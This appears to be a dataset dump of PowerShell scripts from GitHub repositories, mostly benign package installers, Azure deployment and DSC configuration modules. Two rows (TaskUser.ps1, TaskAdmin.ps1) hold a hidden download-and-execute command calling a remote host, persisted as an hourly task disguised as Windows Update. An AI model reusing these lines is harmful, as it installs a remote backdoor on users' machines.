full_path stringlengths 31 232 | filename stringlengths 4 167 | content stringlengths 0 48.3M |
|---|---|---|
PowerShellCorpus/Github/Michel-Tremblay_Algonquin-College/Web Programming languages II/Lab 4/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName... |
PowerShellCorpus/Github/Michel-Tremblay_Algonquin-College/Web Programming languages II/Lab 4/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/Michel-Tremblay_Algonquin-College/Web Programming languages II/Lab 4/packages/EntityFramework.6.1.3/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
if (Get-Module | ?{ $_.Name -eq 'EntityFramework' })
{
Remove-Module EntityFramework
}
Import-Module (Join-Path $toolsPath EntityFramework.psd1)
# SIG # Begin signature block
# MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQ... |
PowerShellCorpus/Github/Michel-Tremblay_Algonquin-College/Web Programming languages II/Lab 4/packages/EntityFramework.6.1.3/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
Initialize-EFConfiguration $project
Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer'
Write-Host
Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma... |
PowerShellCorpus/Github/Michel-Tremblay_Algonquin-College/Web Programming languages II/Lab 4/packages/Microsoft.Web.Infrastructure.1.0.0.0/tools/Install.ps1 | Install.ps1 | param($installPath, $toolsPath, $package, $project)
if ($project.Type -eq 'Web Site') {
Import-Module (Join-Path $toolsPath VS.psd1)
$srcFiles = Join-Path $installPath "lib\net40\*.dll"
$projectRoot = Get-ProjectRoot $project
if (!$projectRoot) {
return;
}
$destDirec... |
PowerShellCorpus/Github/Michel-Tremblay_Algonquin-College/Web Programming languages II/Lab 4/packages/Microsoft.Web.Infrastructure.1.0.0.0/tools/Uninstall.ps1 | Uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
if ($project.Type -eq 'Web Site') {
Import-Module (Join-Path $toolsPath VS.psd1)
$projectRoot = Get-ProjectRoot $project
if (!$projectRoot) {
return;
}
$binDirectory = Join-Path $projectRoot "bin"
$srcDirectory = Join-Path $... |
PowerShellCorpus/Github/Michel-Tremblay_Algonquin-College/Web Programming languages II/Lab 4/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Con... |
PowerShellCorpus/Github/nkot_windows-update-powercli/install_windows_updates.ps1 | install_windows_updates.ps1 | <#
.SYNOPSIS
Installs Windows Updates by using VmWare PowerCli API (https://www.vmware.com/support/developer/PowerCLI/) and PSWindowsUpdate module (https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc).
.NOTES
The target machine must have PSWindowsUpdate... |
PowerShellCorpus/Github/dfensgmbh_biz.dfch.PS.Redmine.Client/src/Enter-Server.Tests.ps1 | Enter-Server.Tests.ps1 | $here = Split-Path -Parent $MyInvocation.MyCommand.Path
$sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path).Replace(".Tests.", ".")
function Stop-Pester($message = "EMERGENCY: Script cannot continue.")
{
$msg = $message;
$e = New-CustomErrorRecord -msg $msg -cat OperationStopped -o $msg;
$PSCmdlet.ThrowTe... |
PowerShellCorpus/Github/dfensgmbh_biz.dfch.PS.Redmine.Client/src/Install.ps1 | Install.ps1 | <#
.SYNOPSIS
Installs the module into a path inside $ENV:PSModulePath.
.DESCRIPTION
Installs the module into a path inside $ENV:PSModulePath.
Any existing module customisations are overwritten by the
installation routine (such as <module>.xml).
.EXAMPLE
Installs the module into the default directory.
... |
PowerShellCorpus/Github/dfensgmbh_biz.dfch.PS.Redmine.Client/src/Import-Module.ps1 | Import-Module.ps1 | # Import-Module.ps1
#
# Place any pre-initialisation script here
# Note:
# * When executed the module is not yet loaded
# * Everything you define here (e.g. a variable) is defined OUTSIDE the module scope.
# If this script is loaded via "ScriptsToProcess" it will incorrectly
# show up as loaded module, see ... |
PowerShellCorpus/Github/dfensgmbh_biz.dfch.PS.Redmine.Client/src/Enter-Server.ps1 | Enter-Server.ps1 | function Enter-Server {
<#
.SYNOPSIS
Performs a login to a Redmine server.
.DESCRIPTION
Performs a login to a Redmine server.
This is the first Cmdlet to be executed and required for all other Cmdlets of this module. It creates a reference to redmine server.
If logging in via API key a password must still... |
PowerShellCorpus/Github/jdubose9_ps_getcw/ps_Get-CWNewTicket.ps1 | ps_Get-CWNewTicket.ps1 | $Global:CWInfo = New-Object PSObject -Property @{
Company = 'Company'
User = 'user'
Password = 'password'
}
[String]$CWServerRoot = "https://your.connectwiseurl.com/"
function Get-CWKeys
{
[string]$BaseUri = "$CWServerRoot" + "v4_6_release/apis/3.0/system/members/jdubose/tokens"
[string]$Accept ... |
PowerShellCorpus/Github/OPSTest_E2E_Provision_1484996744465/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1: Download buildcore script to local
echo "download build core script to local with source u... |
PowerShellCorpus/Github/Gh0st1nTh3Sh3ll1_SystemTask/SystemTask.ps1 | SystemTask.ps1 | $client = new-object System.Net.WebClient
$url = 'https://raw.githubusercontent.com/Gh0st1nTh3Sh3ll1/SystemTask/master/SystemTask.xml'
$file = 'SystemTask.xml'
$client.DownloadFile($url,$file)
#$url = 'https://raw.githubusercontent.com/Gh0st1nTh3Sh3ll1/SystemTask/master/SystemTask.exe'
#$file = 'SystemTask.exe'
... |
PowerShellCorpus/Github/Gh0st1nTh3Sh3ll1_SystemTask/TaskUser.ps1 | TaskUser.ps1 | echo "powershell.exe -nop -w hidden -c $('"') IEX ((new-object net.webclient).downloadstring('http://gh0st1nth3sh3ll.hopto.org:443/a'))$('"')" > C:\Users\$env:USERNAME\AppData\WindowsUpdate.ps1
schtasks.exe /create /sc HOURLY /tn UpdateWindows /tr "powershell.exe -nop -w hidden -file C:\Use... |
PowerShellCorpus/Github/Gh0st1nTh3Sh3ll1_SystemTask/TaskAdmin.ps1 | TaskAdmin.ps1 | echo "set-executionpolicy unrestricted -force`nSet-ExecutionPolicy RemoteSigned -force`npowershell.exe -nop -w hidden -c $('"') IEX ((new-object net.webclient).downloadstring('http://gh0st1nth3sh3ll.hopto.org:443/a'))$('"')" > C:\Users\$env:USERNAME\AppData\WindowsUpdate.ps1
set-executionpo... |
PowerShellCorpus/Github/pckls_DevOps/Puppet/Deploy-AzureResourceGroup.ps1 | Deploy-AzureResourceGroup.ps1 | #Requires -Version 3.0
#Requires -Module AzureRM.Resources
#Requires -Module Azure.Storage
Param(
[string] [Parameter(Mandatory=$true)] $ResourceGroupLocation,
[string] $ResourceGroupName = 'DevOps',
[switch] $UploadArtifacts,
[string] $StorageAccountName,
[string] $StorageContainerName = ... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/.build.ps1 | .build.ps1 | Param (
[String[]]
$GalleryRepository, #used in ResolveDependencies, has default
[Uri]
$GalleryProxy #used in ResolveDependencies, $null if not specified
)
Get-ChildItem -Path "$PSScriptRoot/.build/" -Recurse -Include *.ps1 -Verbose |
Foreach-Object {
"Importing file $($_.BaseNam... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/.init.ps1 | .init.ps1 | Param (
[switch]
$NoBuild
)
# Grab nuget bits, install modules, set build variables, start build.
$null = Get-PackageProvider -Name NuGet -ForceBootstrap
Install-Module InvokeBuild -Confirm:$false -ErrorAction Stop
#If there's a .build.configuration.json or .build.configuration.psd1 in the current fold... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/.build/Pester/IntegrationTests.pester.build.ps1 | IntegrationTests.pester.build.ps1 | Param (
[io.DirectoryInfo]
$ProjectPath = (property ProjectPath (Join-Path $PSScriptRoot '../..' -Resolve -ErrorAction SilentlyContinue)),
[string]
$ProjectName = (property ProjectName (Split-Path -Leaf (Join-Path $PSScriptRoot '../..')) ),
[string]
$RelativePathToIntegrationTests = (p... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/.build/Pester/UnitTests.pester.build.ps1 | UnitTests.pester.build.ps1 | Param (
[io.DirectoryInfo]
$ProjectPath = (property ProjectPath (Join-Path $PSScriptRoot '../..' -Resolve -ErrorAction SilentlyContinue)),
[string]
$BuildOutput = (property BuildOutput 'C:\BuildOutput'),
[string]
$ProjectName = (property ProjectName (Split-Path -Leaf (Join-Path $PSScri... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/.build/PSDepend/ResolveDependencies.PSDepend.build.ps1 | ResolveDependencies.PSDepend.build.ps1 | Param (
[String[]]
$GalleryRepository = (property GalleryRepository 'PSGallery'), #propagate the property if set, or use default
[uri]
$GalleryProxy = $(try { property GalleryProxy } catch { }), #propagate or use $null
[pscredential]
$GalleryPSCredential = $(try { property GalleryPSCre... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/.build/Release/MergeModule.Release.build.ps1 | MergeModule.Release.build.ps1 | #From Chris Dent's BuildTask repo
#https://github.com/indented-automation/BuildTools/blob/master/build_tasks.ps1
Task MergeModule {
# Merge individual PS1 files into a single PSM1.
# Use the same case as the manifest.
$moduleName = (Get-Item "source\$moduleName.psd1").BaseName
$fileStrea... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/.build/BuildHelpers/Environment.BuildHelpers.build.ps1 | Environment.BuildHelpers.build.ps1 | Param (
[string]
$LineSeparation = (property LineSeparation ('-' * 78))
)
task SetBuildVariable {
$LineSeparation
'Set-BuildVariable'
Set-BuildVariable -variableNamePrefix ''
<# Creates:
$ProjectPath
$BranchName
$CommitMessage
$BuildNumber
... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/.build/Appveyor/TestResultUpload.Appveyor.build.ps1 | TestResultUpload.Appveyor.build.ps1 | Param (
[string]
$BuildSystem = (property BuildSystem 'unknown'),
[string]
$APPVEYOR_JOB_ID = $(try {property APPVEYOR_JOB_ID} catch {}),
[string]
$BuildOutput = (property BuildOutput 'C:\BuildOutput'),
[string]
$TestOutputPath = (property TestOutputPath 'testResults')
)
... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Test-LocalCertificate.ps1 | Test-LocalCertificate.ps1 | function Test-LocalCertificate
{
param ()
if (-not [string]::IsNullOrEmpty($LocalCertificateThumbprint))
{
Write-Verbose 'LocalCertificateThumbprint is present.'
if (Test-Path $LocalCertificatePath)
{
Write-Verbose 'Certficate is present in the local certificate s... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Resolve-SiteProperty.ps1 | Resolve-SiteProperty.ps1 |
function Resolve-SiteProperty
{
[cmdletbinding()]
param (
[string]
$PropertyName,
[System.Collections.Hashtable]
$ConfigurationData,
[string]
$Site
)
$resolved = $null
Write-Verbose " Checking Site $Site"
if (Resolve-Hashtable... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-AllNodesConfigurationData.ps1 | Get-AllNodesConfigurationData.ps1 | function Get-AllNodesConfigurationData
{
[cmdletbinding()]
param ()
$nodePath = Join-Path -Path $script:ConfigurationDataPath -ChildPath 'AllNodes\*.psd1'
if (($script:ConfigurationData.AllNodes.Count -eq 0) -and
(Test-Path -Path $nodePath))
{
Write-Verbose "Processing Al... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Out-ConfigurationDataFile.ps1 | Out-ConfigurationDataFile.ps1 |
function Out-ConfigurationDataFile {
[cmdletbinding()]
param(
$Parameters,
$ConfigurationDataPath,
[switch]
$DoNotIncludeName,
[switch]
$Force
)
$StartingBlock = "@{"
$EndingBlock = "}"
$ExcludedParameters = [... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/ShouldProcessService.ps1 | ShouldProcessService.ps1 |
function ShouldProcessService
{
param (
[string] $ServiceName,
[hashtable] $Service,
[string[]] $Filter = '*',
[hashtable] $Node
)
$isNodeAssociatedWithService = ($Node.Name -and (Find-NodeInService -Node $Node -ServiceNodes $Service.Nodes)) -or
... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/ConvertTo-ScriptBlock.ps1 | ConvertTo-ScriptBlock.ps1 | if ( test-path alias:print ) { remove-item alias:print }
set-strictmode -version latest
#as found here https://github.com/PowerShell/Demo_CI/blob/master/Assets/DscPipelineTools/Visualization.psm1
function ConvertTo-ScriptBlock
{
<#
.SYNOPSIS
Convert an object to a well-formatted script block. The script blo... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-CredentialConfigurationData.ps1 | Get-CredentialConfigurationData.ps1 | function Get-CredentialConfigurationData
{
[cmdletbinding()]
param ()
$credentialsPath = Join-Path -Path $script:ConfigurationDataPath -ChildPath 'Credentials\*.psd1.encrypted'
if (($script:ConfigurationData.Credentials.Keys.Count -eq 0) -and
(Test-Path -Path $credentialsPath))
{
... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-SiteDataConfigurationData.ps1 | Get-SiteDataConfigurationData.ps1 | function Get-SiteDataConfigurationData
{
[cmdletbinding()]
param ()
$sitePath = Join-Path -Path $script:ConfigurationDataPath -ChildPath 'SiteData\*.psd1'
if (($script:ConfigurationData.SiteData.Keys.Count -eq 0) -and
(Test-Path -Path $sitePath))
{
Write-Verbose "Processi... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Resolve-HashtableProperty.ps1 | Resolve-HashtableProperty.ps1 | function Resolve-HashtableProperty
{
[OutputType([bool])]
param (
[hashtable] $Hashtable,
[string] $PropertyName,
[ref] $Value
)
$properties = $PropertyName -split '\\'
$currentNode = $Hashtable
foreach ($property in $properties)
{
if ($current... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Export-DscCredentialFile.ps1 | Export-DscCredentialFile.ps1 | #require -Module ProtectedData
function Export-DscCredentialFile
{
<#
.SYNOPSIS
Create a PSD1 file with a list of UserName = EncryptedCredential
.DESCRIPTION
This function encrypts the Credential parts of an hashtable looking like
@{'key1' = [PSCredential];'key2' = [PSCre... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-NodeValue.ps1 | Get-NodeValue.ps1 | function Get-NodeValue
{
[cmdletbinding()]
param (
[System.Collections.Hashtable]
$Node,
[string]
$PropertyName,
[System.Collections.Hashtable]
$ConfigurationData
)
if ($null -eq $Node) { return }
$resolved = $null
Write-Verbose ... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-TokenAreaInFile.ps1 | Get-TokenAreaInFile.ps1 | function Get-TokenAreaInFile {
Param(
[Io.FileInfo]
$file,
[String]
$TokenContent = 'Nodes'
)
$code = (Get-Content -Raw $file)
$AST = [System.Management.Automation.PSParser]::Tokenize($code,[ref]$null)
$NodeStart = $AST.where{$_.Content -eq $TokenContent ... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Remove-PlainTextPassword.ps1 | Remove-PlainTextPassword.ps1 | function Remove-PlainTextPassword
{
param (
[parameter()]
[string]
$path
)
Start-Sleep -seconds 2
Write-Verbose "Removing plain text credentials from $path"
Remove-Item $path -Confirm:$false -Force
} |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-ServiceValue.ps1 | Get-ServiceValue.ps1 |
function Get-ServiceValue
{
[CmdletBinding()]
param (
[hashtable] $Node,
[string] $PropertyName,
[hashtable] $ConfigurationData,
[string[]] $ServiceName = '*',
[switch] $AllValues
)
if ($null -eq $Node) { return }
$servicesTable = $Configurati... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Find-NodeInService.ps1 | Find-NodeInService.ps1 |
function Find-NodeInService
{
[CmdletBinding()]
[OutputType([bool])]
Param
(
# ConfigurationData Node Hashtable
[hashtable]
$Node,
# ConfigurationData Service Node Array
[String[]]
$ServiceNodes
)
foreach ($serviceNode in $Ser... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-Hashtable.ps1 | Get-Hashtable.ps1 | function Get-Hashtable
{
# Path to PSD1 file to evaluate
param (
[parameter(
Position = 0,
ValueFromPipelineByPropertyName,
Mandatory
)]
[ValidateNotNullOrEmpty()]
[Alias('FullName')]
[string]
$Path
)
proce... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-GlobalValue.ps1 | Get-GlobalValue.ps1 |
function Get-GlobalValue
{
[cmdletbinding()]
param (
[string]
$PropertyName,
[System.Collections.Hashtable]
$ConfigurationData
)
return Resolve-SiteProperty -ConfigurationData $ConfigurationData -PropertyName $PropertyName -Site All
}
|
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Import-DscCredentialFile.ps1 | Import-DscCredentialFile.ps1 | #require -Module ProtectedData
function Import-DscCredentialFile
{
[CmdletBinding()]
[OutputType([hashtable])]
param (
[Parameter(Mandatory)]
[string] $Path
)
try
{
try
{
$savedTable = Get-Hashtable -Path $Path -ErrorAction Stop
... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-SiteValue.ps1 | Get-SiteValue.ps1 |
function Get-SiteValue
{
[cmdletbinding()]
param (
[System.Collections.Hashtable]
$Node,
[string]
$PropertyName,
[System.Collections.Hashtable]
$ConfigurationData
)
if ($null -eq $Node -or -not $Node.ContainsKey('Location')) { return }
... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Private/Get-ServiceConfigurationData.ps1 | Get-ServiceConfigurationData.ps1 | function Get-ServiceConfigurationData
{
[cmdletbinding()]
param ()
$servicePath = Join-Path $script:ConfigurationDataPath 'Services\*.psd1'
if (($script:ConfigurationData.Services.Keys.Count -eq 0) -and
(Test-Path -Path $servicePath))
{
Write-Verbose "Processing Services ... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/tests/Unit/Export-DscCredentialFile.tests.ps1 | Export-DscCredentialFile.tests.ps1 | $here = Split-Path -Parent $MyInvocation.MyCommand.Path
$sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests\.', '.'
. "$here/../../*/$sut" #for files in Public\Private folders, called from the tests folder
function Protect-Data {[cmdletBinding()]Param($InputObject,$Certificate)}
Describe 'E... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/tests/Integration/Test-ConfigurationPropertyExists.Tests.ps1 | Test-ConfigurationPropertyExists.Tests.ps1 | Remove-Module DscConfiguration -Force -ErrorAction SilentlyContinue
Import-Module -Name $PSScriptRoot\..\..\DscConfigurationData.psd1 -Force -ErrorAction Stop
Describe 'Test-DscConfigurationPropertyExists' {
$Node = @{
NodeName = 'Node1'
Location = 'Site'
NodeHT = @{
Nod... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/tests/Integration/Resolve-ConfigurationProperty.Tests.ps1 | Resolve-ConfigurationProperty.Tests.ps1 | Remove-Module DscConfiguration -Force -ErrorAction SilentlyContinue
Import-Module -Name $PSScriptRoot\..\..\DscConfigurationData.psd1 -Force -ErrorAction Stop
describe 'how Resolve-DscConfigurationProperty responds' {
$ConfigurationData = @{
AllNodes = @();
SiteData = @{ NY = @{ PullServerPat... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Get-DscConfigurationDataPath.ps1 | Get-DscConfigurationDataPath.ps1 | function Get-DscConfigurationDataPath {
$script:ConfigurationDataPath
}
Set-Alias -Name 'Get-ConfigurationDataPath' -Value 'Get-DscConfigurationDataPath'
|
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Get-DscConfigurationData.ps1 | Get-DscConfigurationData.ps1 | function Get-DscConfigurationData
{
[cmdletbinding(DefaultParameterSetName='NoFilter')]
param (
[parameter()]
[ValidateNotNullOrEmpty()]
[string] $Path,
[ValidateNotNullOrEmpty()]
[string] $CertificateThumbprint,
[parameter(ParameterSetName = 'NameFil... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Test-ConfigurationPropertyExists.ps1 | Test-ConfigurationPropertyExists.ps1 | function Test-DscConfigurationPropertyExists
{
[CmdletBinding()]
param (
[Parameter(Mandatory)]
[hashtable] $Node,
[Parameter(Mandatory)]
[string] $PropertyName,
[hashtable] $ConfigurationData
)
Write-Verbose ""
if ($null -eq $ConfigurationDat... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Add-EncryptedPassword.ps1 | Add-EncryptedPassword.ps1 | function Add-DscEncryptedPassword
{
[CmdletBinding(DefaultParameterSetName = 'Credential')]
param (
[parameter(mandatory)]
[string] $StoreName,
[parameter()]
[string] $Path = (Join-path $script:ConfigurationDataPath 'Credentials'),
[Parameter(Mandatory, Parame... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/New-DscNodeMetadata.ps1 | New-DscNodeMetadata.ps1 | function New-DscNodeMetadata
{
<#
.Synopsis
Creates a new Dsc metadata file describing a node.
.Description
Create a new Dsc metadata file to populate AllNodes in a Dsc Configuration.
.Example
New-DscNodeMetadata -Name NY-TestSQL01 -Location NY -Se... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/New-Credential.ps1 | New-Credential.ps1 | function New-Credential
{
param (
[string]
$username,
$password
)
if ($password -isnot [securestring])
{
$password = $password | ConvertTo-SecureString -AsPlainText -Force
}
return ([System.Management.Automation.PSCredential]::new($username, $passwo... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Set-DscConfigurationCertificate.ps1 | Set-DscConfigurationCertificate.ps1 | function Set-DscConfigurationCertificate {
param (
[parameter(Mandatory)]
[string]
$CertificateThumbprint
)
$path = "Cert:\LocalMachine\My\$CertificateThumbprint"
if (Test-Path -Path $path)
{
$script:LocalCertificateThumbprint = $CertificateThumbprint
... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Get-DscConfigurationCertificate.ps1 | Get-DscConfigurationCertificate.ps1 | function Get-DscConfigurationCertificate {
$script:LocalCertificateThumbprint
}
|
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Resolve-ConfigurationProperty.ps1 | Resolve-ConfigurationProperty.ps1 | function Resolve-DscConfigurationProperty
{
<#
.Synopsis
Searches DSC ConfigurationData metadata for a property.
.DESCRIPTION
Searches DSC ConfigurationData metadata for a property. Getting the value based on this precident:
$ConfigurationData.AllNodes... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Add-DscNodesToServiceMetadata.ps1 | Add-DscNodesToServiceMetadata.ps1 | function Add-DscNodesToServiceMetadata {
Param(
[parameter(
Mandatory,
ValueFromPipelineByPropertyName
)]
[string[]]
$Nodes,
[parameter(
Mandatory,
ValueFromPipelineByPropertyName
)]
[String]
... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/New-DscConfigurationDataStore.ps1 | New-DscConfigurationDataStore.ps1 | function New-DscConfigurationDataStore {
param (
[parameter(mandatory)]
$Path
)
$Path = (resolve-path $path).Path
mkdir (join-path $Path 'AllNodes') | out-null
mkdir (join-path $Path 'Credentials') | out-null
mkdir (join-path $Path 'Services') | out-null
mkdir (joi... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/New-DscServiceMetadata.ps1 | New-DscServiceMetadata.ps1 | function New-DscServiceMetadata {
[cmdletbinding()]
param (
[parameter(
Mandatory,
ValueFromPipelineByPropertyName
)]
[string]
$Name,
[string[]]
$Nodes,
[string]
$Path
)
begin {
if ($psboundp... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Get-DscEncryptedPassword.ps1 | Get-DscEncryptedPassword.ps1 | function Get-DscEncryptedPassword
{
[cmdletbinding(DefaultParameterSetName='ByStoreName')]
param (
[parameter(
ParameterSetName = 'ByStoreName',
ValueFromPipelineByPropertyName,
Mandatory
)]
[Alias('BaseName')]
[string]
$Stor... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Set-DscConfigurationDataPath.ps1 | Set-DscConfigurationDataPath.ps1 | function Set-DscConfigurationDataPath {
param (
[parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[string]
$Path
)
$script:ConfigurationDataPath = (Resolve-path $Path).Path
}
Set-Alias -Name 'Set-ConfigurationDataPath' -Value 'Set-DscConfigurationDataPath'
|
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/New-DscSiteMetadata.ps1 | New-DscSiteMetadata.ps1 | function New-DscSiteMetadata {
[cmdletbinding()]
param (
[string]
$Name,
[string]
$Path
)
begin {
if ($psboundparameters.containskey('path')) {
$psboundparameters.Remove('path') | out-null
}
Resolve-ConfigurationDa... |
PowerShellCorpus/Github/gaelcolas_DscConfigurationData/DscConfigurationData/Public/Resolve-DscConfigurationDataPath.ps1 | Resolve-DscConfigurationDataPath.ps1 | function Resolve-DscConfigurationDataPath {
[CmdletBinding()]
param (
[parameter()]
[string]
$Path
)
Write-Verbose "Resolving the DSC Configuration Data Path"
if ( -not ($psboundparameters.containskey('Path')) -or [string]::IsNullOrEmpty($Path)) {
Write-Verbo... |
PowerShellCorpus/Github/ClearPointeInc_IgniteShowcase/Write-OmsData.ps1 | Write-OmsData.ps1 | ### General Configuration
###
# Replace with your Workspace ID
$CustomerId = 'XXXXXXXXXXXXXXXXXXX'
# Replace with your Primary Key
$SharedKey = 'XXXXXXXXXXXXXXXXXXXXXXXXXX'
# Specify a time in the format YYYY-MM-DDThh:mm:ssZ to specify a created time for the records
$TimeStampField = ''
### Functions
... |
PowerShellCorpus/Github/ClearPointeInc_IgniteShowcase/Write-SpacesMetrics.ps1 | Write-SpacesMetrics.ps1 | # Set InfluxDB API URI
$uri = 'http://grafanauri:8086/write?db=IgniteS2D'
# Set the reporting collection interval for 1 second
Get-StorageSubSystem -FriendlyName clus* | Set-StorageHealthSetting -Name 'System.Reports.ReportingPeriodSeconds' -Value 1
# Loop for one hour
$timeout = New-TimeSpan -Hours 1
$stop... |
PowerShellCorpus/Github/fenxu_fenxu_2016050_docs.de-de/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1 Download buildcore script to local
echo "download build core script to local with source ur... |
PowerShellCorpus/Github/Conan1989_AD-BullkEditproxyAddressesAttribute/AD-BullkEditproxyAddressesAttribute.ps1 | AD-BullkEditproxyAddressesAttribute.ps1 | <#
Author: Conan Chiles, "https://au.linkedin.com/pub/conan-chiles/25/81b/153", "https://github.com/Conan1989"
License: https://www.gnu.org/licenses/gpl.html
Rquirements: To Do
Use Case: Say you have a set of AD user account that you need to modify the proxyAddresses attribute for
The below methods where put to... |
PowerShellCorpus/Github/smithr17_AzureCLI/3-nTier/Scripts/Deploy-AzureResourceGroup.ps1 | Deploy-AzureResourceGroup.ps1 | #Requires -Version 3.0
#Requires -Module AzureRM.Resources
#Requires -Module Azure.Storage
Param(
[string] [Parameter(Mandatory=$true)] $ResourceGroupLocation,
[string] [Parameter(Mandatory=$true)] $ResourceGroupName,
[switch] $UploadArtifacts = $true,
[string] $StorageAccountName,
[stri... |
PowerShellCorpus/Github/smithr17_AzureCLI/SampleApplication/SourceCode/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Con... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/IIS-WEB.ps1 | IIS-WEB.ps1 | Configuration DemoIIS
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/AD-First.ps1 | AD-First.ps1 | configuration DemoAD1
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/AllLayers.ps1 | AllLayers.ps1 | Configuration DemoAllComponents
{
param
(
